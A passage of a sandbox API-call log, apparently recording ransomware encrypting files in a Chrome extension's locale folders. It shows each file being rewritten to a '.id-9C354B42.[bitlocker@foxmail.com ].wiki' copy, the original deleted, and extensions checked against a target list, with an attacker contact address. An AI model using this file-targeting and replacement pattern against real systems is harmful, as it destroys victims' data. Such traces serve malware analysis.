SetEndOfFile (hFile=0x1a0) returned 1 [0177.088] CloseHandle (hObject=0x1a0) returned 1 [0177.088] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0177.088] SetEndOfFile (hFile=0x1ac) returned 1 [0177.089] CloseHandle (hObject=0x1ac) returned 1 [0177.089] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.089] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\messages.json")) returned 1 [0177.090] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\messages.json") returned 151 [0177.090] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\messages.json") returned 151 [0177.090] lstrlenW (lpString=".doc") returned 4 [0177.090] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.090] lstrlenW (lpString=".docx") returned 5 [0177.090] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.090] lstrlenW (lpString=".pdf") returned 4 [0177.090] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.090] lstrlenW (lpString=".xls") returned 4 [0177.090] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.090] lstrlenW (lpString=".xlsx") returned 5 [0177.090] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.090] lstrlenW (lpString=".ppt") returned 4 [0177.090] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.090] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\messages.json") returned 151 [0177.090] lstrlenW (lpString=".zip") returned 4 [0177.090] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.090] lstrlenW (lpString=".rar") returned 4 [0177.090] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.090] lstrlenW (lpString=".bz2") returned 4 [0177.090] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.090] lstrlenW (lpString=".7z") returned 3 [0177.090] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.090] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\messages.json") returned 151 [0177.090] lstrlenW (lpString=".dbf") returned 4 [0177.091] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.091] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\messages.json") returned 151 [0177.091] lstrlenW (lpString=".1cd") returned 4 [0177.091] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.091] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\messages.json") returned 151 [0177.091] lstrlenW (lpString=".jpg") returned 4 [0177.091] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.091] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\messages.json") returned 151 [0177.091] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\messages.json") returned 151 [0177.091] lstrlenW (lpString=".doc") returned 4 [0177.091] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.091] lstrlenW (lpString=".docx") returned 5 [0177.091] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.091] lstrlenW (lpString=".pdf") returned 4 [0177.091] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.091] lstrlenW (lpString=".xls") returned 4 [0177.091] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.091] lstrlenW (lpString=".xlsx") returned 5 [0177.091] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.091] lstrlenW (lpString=".ppt") returned 4 [0177.091] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.091] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\messages.json") returned 151 [0177.091] lstrlenW (lpString=".zip") returned 4 [0177.091] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.091] lstrlenW (lpString=".rar") returned 4 [0177.091] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.091] lstrlenW (lpString=".bz2") returned 4 [0177.091] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.092] lstrlenW (lpString=".7z") returned 3 [0177.092] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.092] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\messages.json") returned 151 [0177.092] lstrlenW (lpString=".dbf") returned 4 [0177.092] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.092] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\messages.json") returned 151 [0177.092] lstrlenW (lpString=".1cd") returned 4 [0177.092] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.092] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\is\\messages.json") returned 151 [0177.092] lstrlenW (lpString=".jpg") returned 4 [0177.092] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.092] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0177.092] lstrlenW (lpString="messages.json") returned 13 [0177.092] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0177.093] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=387) returned 1 [0177.093] CloseHandle (hObject=0x1ac) returned 1 [0177.093] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\messages.json")) returned 0x2020 [0177.093] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.093] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0177.093] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0177.093] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0177.093] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0177.094] GetLastError () returned 0x0 [0177.094] ReadFile (in: hFile=0x1ac, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x183, lpOverlapped=0x0) returned 1 [0177.095] WriteFile (in: hFile=0x1a0, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x190, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x190, lpOverlapped=0x0) returned 1 [0177.096] ReadFile (in: hFile=0x1ac, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0177.096] WriteFile (in: hFile=0x1a0, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0177.096] SetEndOfFile (hFile=0x1a0) returned 1 [0177.097] CloseHandle (hObject=0x1a0) returned 1 [0177.097] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0177.097] SetEndOfFile (hFile=0x1ac) returned 1 [0177.097] CloseHandle (hObject=0x1ac) returned 1 [0177.097] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.098] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\messages.json")) returned 1 [0177.098] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\messages.json") returned 151 [0177.098] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\messages.json") returned 151 [0177.098] lstrlenW (lpString=".doc") returned 4 [0177.098] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.098] lstrlenW (lpString=".docx") returned 5 [0177.098] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.098] lstrlenW (lpString=".pdf") returned 4 [0177.098] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.098] lstrlenW (lpString=".xls") returned 4 [0177.098] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.098] lstrlenW (lpString=".xlsx") returned 5 [0177.098] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.098] lstrlenW (lpString=".ppt") returned 4 [0177.098] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.098] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\messages.json") returned 151 [0177.098] lstrlenW (lpString=".zip") returned 4 [0177.098] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.098] lstrlenW (lpString=".rar") returned 4 [0177.098] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.099] lstrlenW (lpString=".bz2") returned 4 [0177.099] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.099] lstrlenW (lpString=".7z") returned 3 [0177.099] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.099] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\messages.json") returned 151 [0177.099] lstrlenW (lpString=".dbf") returned 4 [0177.099] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.099] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\messages.json") returned 151 [0177.099] lstrlenW (lpString=".1cd") returned 4 [0177.099] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.099] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\messages.json") returned 151 [0177.099] lstrlenW (lpString=".jpg") returned 4 [0177.099] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.099] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\messages.json") returned 151 [0177.099] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\messages.json") returned 151 [0177.099] lstrlenW (lpString=".doc") returned 4 [0177.099] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.099] lstrlenW (lpString=".docx") returned 5 [0177.099] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.099] lstrlenW (lpString=".pdf") returned 4 [0177.099] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.099] lstrlenW (lpString=".xls") returned 4 [0177.099] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.099] lstrlenW (lpString=".xlsx") returned 5 [0177.099] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.099] lstrlenW (lpString=".ppt") returned 4 [0177.100] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.100] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\messages.json") returned 151 [0177.100] lstrlenW (lpString=".zip") returned 4 [0177.100] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.100] lstrlenW (lpString=".rar") returned 4 [0177.100] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.100] lstrlenW (lpString=".bz2") returned 4 [0177.100] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.100] lstrlenW (lpString=".7z") returned 3 [0177.100] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.100] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\messages.json") returned 151 [0177.100] lstrlenW (lpString=".dbf") returned 4 [0177.100] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.100] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\messages.json") returned 151 [0177.100] lstrlenW (lpString=".1cd") returned 4 [0177.100] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.100] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\messages.json") returned 151 [0177.100] lstrlenW (lpString=".jpg") returned 4 [0177.100] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.101] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0177.101] lstrlenW (lpString="messages.json") returned 13 [0177.101] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0177.101] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=451) returned 1 [0177.101] CloseHandle (hObject=0x1ac) returned 1 [0177.115] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\messages.json")) returned 0x2020 [0177.115] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.115] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0177.115] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0177.115] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0177.115] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0177.116] GetLastError () returned 0x0 [0177.116] ReadFile (in: hFile=0x1ac, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x1c3, lpOverlapped=0x0) returned 1 [0177.117] WriteFile (in: hFile=0x1a0, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x1d0, lpOverlapped=0x0) returned 1 [0177.118] ReadFile (in: hFile=0x1ac, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0177.118] WriteFile (in: hFile=0x1a0, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0177.118] SetEndOfFile (hFile=0x1a0) returned 1 [0177.118] CloseHandle (hObject=0x1a0) returned 1 [0177.118] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0177.118] SetEndOfFile (hFile=0x1ac) returned 1 [0177.119] CloseHandle (hObject=0x1ac) returned 1 [0177.119] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.119] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\messages.json")) returned 1 [0177.119] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\messages.json") returned 151 [0177.119] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\messages.json") returned 151 [0177.120] lstrlenW (lpString=".doc") returned 4 [0177.120] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.120] lstrlenW (lpString=".docx") returned 5 [0177.120] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.120] lstrlenW (lpString=".pdf") returned 4 [0177.120] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.120] lstrlenW (lpString=".xls") returned 4 [0177.120] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.120] lstrlenW (lpString=".xlsx") returned 5 [0177.120] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.120] lstrlenW (lpString=".ppt") returned 4 [0177.120] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.120] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\messages.json") returned 151 [0177.120] lstrlenW (lpString=".zip") returned 4 [0177.120] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.120] lstrlenW (lpString=".rar") returned 4 [0177.120] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.120] lstrlenW (lpString=".bz2") returned 4 [0177.120] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.120] lstrlenW (lpString=".7z") returned 3 [0177.120] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.120] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\messages.json") returned 151 [0177.120] lstrlenW (lpString=".dbf") returned 4 [0177.120] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.120] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\messages.json") returned 151 [0177.120] lstrlenW (lpString=".1cd") returned 4 